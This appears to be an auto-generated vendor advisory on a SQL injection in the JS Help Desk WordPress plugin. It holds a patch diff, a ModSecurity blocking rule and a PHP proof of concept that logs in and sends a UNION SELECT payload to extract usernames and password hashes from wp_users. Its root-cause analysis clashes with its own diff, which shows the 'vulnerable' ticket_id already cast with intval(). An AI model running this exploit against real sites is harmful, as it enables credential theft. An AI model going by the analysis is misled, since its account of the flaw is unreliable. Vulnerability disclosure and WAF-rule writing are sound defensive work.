Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 30, 2026

CVE-2026-32534: JS Help Desk – AI-Powered Support & Ticketing System <= 3.0.3 – Authenticated (Subscriber+) SQL Injection (js-support-ticket)

Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 3.0.3
Patched Version 3.0.4
Disclosed March 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-32534:
This vulnerability is an authenticated SQL injection in the JS Help Desk WordPress plugin, affecting versions up to and including 3.0.3. The flaw resides in the plugin’s AJAX handler for retrieving ticket replies, allowing authenticated users with subscriber-level access or higher to execute arbitrary SQL commands. The CVSS score of 6.5 reflects the requirement for authentication combined with the high impact of database information disclosure.

Atomic Edge research identified the root cause in the `getFilteredReplies` function within `/js-support-ticket/modules/reply/model.php`. The vulnerable code at line 510 used `JSSTrequest::getVar(‘ticket_id’)` without proper type casting or sanitization before directly interpolating the user-controlled value into a SQL query. The `$jsst_ticket_id` variable was passed to `intval()` only after retrieval, but the original `getVar` call lacked a type specification parameter, allowing SQL injection payloads to bypass the later integer conversion.

The exploitation vector targets the WordPress AJAX endpoint `/wp-admin/admin-ajax.php` with the `action` parameter set to `jsst-ajax`. Attackers must be authenticated with at least subscriber privileges. The specific vulnerable parameter is `ticket_id` sent via POST. Attackers can craft malicious payloads like `ticket_id=1 UNION SELECT user_login,user_pass FROM wp_users–` to extract sensitive data. The nonce requirement (`_wpnonce`) is verified via `check_ajax_referer(‘get-filtered-replies’, ‘_wpnonce’)`, but authenticated users can obtain valid nonces through normal plugin usage.

The patch in version 3.0.4 addresses the vulnerability through multiple layers of defense. First, line 512 changes `JSSTrequest::getVar(‘ticket_id’)` to `JSSTrequest::getVar(‘ticket_id’, null, 0, ‘int’)`, enforcing integer type casting at the parameter retrieval stage. Second, lines 514-533 add comprehensive permission checks that restrict access to staff with AI permissions or administrators only, effectively removing subscriber-level access to the vulnerable endpoint. Third, line 540 replaces `array_map(‘intval’, $jsst_uids)` with `array_map(‘absint’, $jsst_uids)` for additional integer sanitization.

Successful exploitation enables complete database compromise. Attackers can extract sensitive information including WordPress user credentials (hashed passwords), personally identifiable information from tickets, support agent communications, and potentially plugin configuration data. While the vulnerability does not directly enable remote code execution, extracted administrator credentials could lead to site takeover. The UNION-based SQL injection allows attackers to read any data from the database tables accessible to the WordPress database user.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/js-support-ticket/includes/activation.php
+++ b/js-support-ticket/includes/activation.php
@@ -201,8 +201,8 @@
                     ('tplink_faqs_user', '0', 'tplink', 'faq'),
                     ('show_breadcrumbs', '1', 'default', NULL),
                     ('productcode', 'jsticket', 'default', NULL),
-                    ('versioncode', '3.0.3', 'default', NULL),
-                    ('productversion', '303', 'default', NULL),
+                    ('versioncode', '3.0.4', 'default', NULL),
+                    ('productversion', '304', 'default', NULL),
                     ('producttype', 'free', 'default', NULL),
                     ('tve_enabled', '2', 'default', NULL),
                     ('tve_mailreadtype', '3', 'default', NULL),
--- a/js-support-ticket/js-support-ticket.php
+++ b/js-support-ticket/js-support-ticket.php
@@ -3,14 +3,14 @@
 /**
  * @package JS Help Desk
  * @author Ahmad Bilal
- * @version 3.0.3
+ * @version 3.0.4
  */
 /*
   Plugin Name: JS Help Desk – AI-Powered Support & Ticketing System
   Plugin URI: https://www.jshelpdesk.com
   Description: JS Help Desk is a trusted open source ticket system. JS Help Desk is a simple, easy to use, web-based customer support system. User can create ticket from front-end. JS Help Desk comes packed with lot features than most of the expensive(and complex) support ticket system on market. JS Help Desk provide you best industry help desk system.
   Author: JS Help Desk
-  Version: 3.0.3
+  Version: 3.0.4
   Text Domain: js-support-ticket
   License: GPLv3
   Author URI: https://www.jshelpdesk.com
@@ -67,7 +67,7 @@
         self::$jsst_data = array();
         self::$_search = array();
         self::$_captcha = array();
-        self::$_currentversion = '303';
+        self::$_currentversion = '304';
         self::$_addon_query = array('select'=>'','join'=>'','where'=>'');
         self::$_jshdsession = JSSTincluder::getObjectClass('wphdsession');
         global $wpdb;
@@ -147,7 +147,7 @@
                     // restore colors data end
                     update_option('jsst_currentversion', self::$_currentversion);
                     include_once JSST_PLUGIN_PATH . 'includes/updates/updates.php';
-                    JSSTupdates::checkUpdates('303');
+                    JSSTupdates::checkUpdates('304');
                     JSSTincluder::getJSModel('jssupportticket')->updateColorFile();
                     JSSTincluder::getJSModel('jssupportticket')->jsst_check_license_status();
                     JSSTincluder::getJSModel('jssupportticket')->JSSTAddonsAutoUpdate();
--- a/js-support-ticket/modules/jssupportticket/controller.php
+++ b/js-support-ticket/modules/jssupportticket/controller.php
@@ -22,7 +22,7 @@
                 case 'controlpanel':
                     JSSTincluder::getJSModel('jssupportticket')->getControlPanelData();
                     include_once JSST_PLUGIN_PATH . 'includes/updates/updates.php';
-                    JSSTupdates::checkUpdates('303');
+                    JSSTupdates::checkUpdates('304');
                     JSSTincluder::getJSModel('jssupportticket')->updateColorFile();
                     //JSSTincluder::getJSModel('jssupportticket')->getStaffControlPanelData();
                     break;
--- a/js-support-ticket/modules/reply/model.php
+++ b/js-support-ticket/modules/reply/model.php
@@ -510,18 +510,39 @@
         // Verify nonce
         check_ajax_referer('get-filtered-replies', '_wpnonce');

-        $jsst_ticket_id = intval(JSSTrequest::getVar('ticket_id'));
+        // Secure the ID (Stops SQL Injection)
+        $jsst_ticket_id = JSSTrequest::getVar('ticket_id', null, 0, 'int');

         if (!$jsst_ticket_id) {
             wp_send_json_error(['message' => __('Ticket ID is required.', 'js-support-ticket')]);
         }

+        // 1. Check if the user is a Agent
+        $is_staff = (in_array('agent', jssupportticket::$_active_addons) && JSSTincluder::getJSModel('agent')->isUserStaff());
+
+        // 2. If they are staff, check if they LACK the specific AI permission
+        if ($is_staff) {
+            $has_ai_permission = JSSTincluder::getJSModel('userpermissions')->checkPermissionGrantedForTask('Use AI Powered Reply Feature');
+            if (!$has_ai_permission) { // Note the "!" (NOT)
+                wp_send_json_error(['message' => __('You do not have permission to use AI features.', 'js-support-ticket')]);
+            }
+        }
+        // 3. If they are NOT staff, check if they are an Administrator
+        else if (!current_user_can('manage_options')) {
+            // If they aren't staff and aren't an admin, they are a normal user or guest
+            wp_send_json_error(['message' => __('Access denied.', 'js-support-ticket')]);
+        }
+
+        // If it reaches here, the user is either:
+        // - Staff WITH AI permissions
+        // - An Administrator
+
         $jsst_uids = $this->get_allowed_support_user_ids();
         if (empty($jsst_uids)) {
             wp_send_json_success(['replies' => [], 'count' => 0]);
         }

-        $jsst_uids_str = implode(',', array_map('intval', $jsst_uids)); // Ensure integers
+        $jsst_uids_str = implode(',', array_map('absint', $jsst_uids)); // Ensure integers

         $jsst_query = "
         SELECT r.*
--- a/js-support-ticket/modules/ticket/model.php
+++ b/js-support-ticket/modules/ticket/model.php
@@ -3015,14 +3015,15 @@
             die('Security check Failed');
         }

-        $jsst_id = JSSTrequest::getVar('ticketId');
-        $jsst_subject = JSSTrequest::getVar('ticketSubject');
+        // Explicitly cast to integer to kill SQL Injection payloads
+        $jsst_id = absint(JSSTrequest::getVar('ticketId'));
+        $jsst_subject = sanitize_text_field(JSSTrequest::getVar('ticketSubject'));

         $jsst_agentquery = "";
         if (in_array('agent', jssupportticket::$_active_addons) && JSSTincluder::getJSModel('agent')->isUserStaff()) {
             $jsst_allowed = JSSTincluder::getJSModel('userpermissions')->checkPermissionGrantedForTask('Limit AI Replies to Agent-Assigned Tickets');
             if ($jsst_allowed) {
-                $jsst_staffid = JSSTincluder::getJSModel('agent')->getStaffId(JSSTincluder::getObjectClass('user')->uid());
+                $jsst_staffid = absint(JSSTincluder::getJSModel('agent')->getStaffId(JSSTincluder::getObjectClass('user')->uid()));
                 $jsst_agentquery = " AND (t.staffid = " . esc_sql($jsst_staffid) . " OR t.departmentid IN (
                     SELECT dept.departmentid
                     FROM `" . jssupportticket::$_db->prefix . "js_ticket_acl_user_access_departments` AS dept
@@ -3038,6 +3039,9 @@
             FROM `" . jssupportticket::$_db->prefix . "js_ticket_tickets` AS ticket
             WHERE ticket.id = " . esc_sql($jsst_id);
         $jsst_ticket_data = jssupportticket::$_db->get_row($jsst_query);
+
+        if (!$jsst_ticket_data) return json_encode([]);
+
         $jsst_message = wp_strip_all_tags($jsst_ticket_data->message);

         // Break the subject and message into words for partial matching

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-32534
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:100032534,phase:2,deny,status:403,chain,msg:'CVE-2026-32534: JS Help Desk SQL Injection via AJAX',severity:'CRITICAL',tag:'CVE-2026-32534',tag:'WordPress',tag:'Plugin/JS-Help-Desk',tag:'attack.sql-injection'"
  SecRule ARGS_POST:action "@streq jsst-ajax" "chain"
    SecRule ARGS_POST:task "@streq getFilteredReplies" "chain"
      SecRule ARGS_POST:ticket_id "@rx (?i)(?:union[s/*].*select|select.*from.*wp_|(?:sleep|benchmark)s*(|'s*(?:or|and)s*[dw']+s*[=<>])|(?:--|#|/*)[sw]*$" 
        "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}',setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-32534 - JS Help Desk – AI-Powered Support & Ticketing System <= 3.0.3 - Authenticated (Subscriber+) SQL Injection

<?php

$target_url = 'https://vulnerable-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';

// Step 1: Authenticate to WordPress and obtain session cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$login_response = curl_exec($ch);

// Step 2: Visit a page to obtain a valid nonce for the AJAX action
// The nonce is typically embedded in page JavaScript or HTML
$admin_page = $target_url . '/wp-admin/admin.php?page=js-support-ticket';
curl_setopt($ch, CURLOPT_URL, $admin_page);
curl_setopt($ch, CURLOPT_POST, 0);
$page_response = curl_exec($ch);

// Extract nonce from page (simplified - actual implementation would parse HTML/JS)
// For this PoC, we assume the nonce is known or obtained via regex
$nonce = 'extracted_nonce_value_here';

// Step 3: Exploit SQL injection via the vulnerable AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_payload = array(
    'action' => 'jsst-ajax',
    'task' => 'getFilteredReplies',
    'ticket_id' => "1 UNION SELECT user_login,user_pass,3,4,5,6,7,8,9,10 FROM wp_users--",
    '_wpnonce' => $nonce
);

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_payload));
$exploit_response = curl_exec($ch);

// Step 4: Parse and display results
echo "Exploit Response:n";
echo $exploit_response;

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School